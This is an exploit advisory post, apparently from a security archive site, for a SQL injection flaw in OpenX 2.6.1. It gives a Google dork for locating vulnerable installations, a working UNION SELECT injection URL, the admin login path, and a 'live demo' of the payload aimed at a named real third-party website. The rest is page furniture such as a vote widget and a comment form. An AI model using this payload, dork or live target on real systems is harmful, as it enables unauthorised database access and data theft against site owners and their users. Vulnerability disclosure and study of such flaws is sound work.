OpenX 2.6.1 remote SQL injection

2010.01.24
Credit: null
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

#=Info=======================================================================# # Software: OpenX Sql Injection # # Version: v2.6.1 # # Vulnerability: Sql Injection # # Google Dork: inurl:"index.php?q=" Openx # # Off. site: www.openx.org/<http://www.openx.org/> # #============================================================================# #=Author=====================================================================# # Author: AndySoon [at] XGROUPVN[dot]ORG and UH-TEAM[dot]ORG # # Date: 2010-01-21 # # Contact: YM: wolf_seller | email: wolf.crazy0@gmail.com<mailto:wolf.crazy0@gmail.com> # # # #============================================================================# #=Sql Injection===========================================================================================================================================================# # Exploit: http://site/index.php?q=shopping/neighborhood/45+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- # # Live demo: http://la.citymommy.com/index.php?q=shopping/neighborhood/45+AND+1=2+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-- # # Login page: http://site/adserver/www/admin/index.php # #=========================================================================================================================================================================#


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top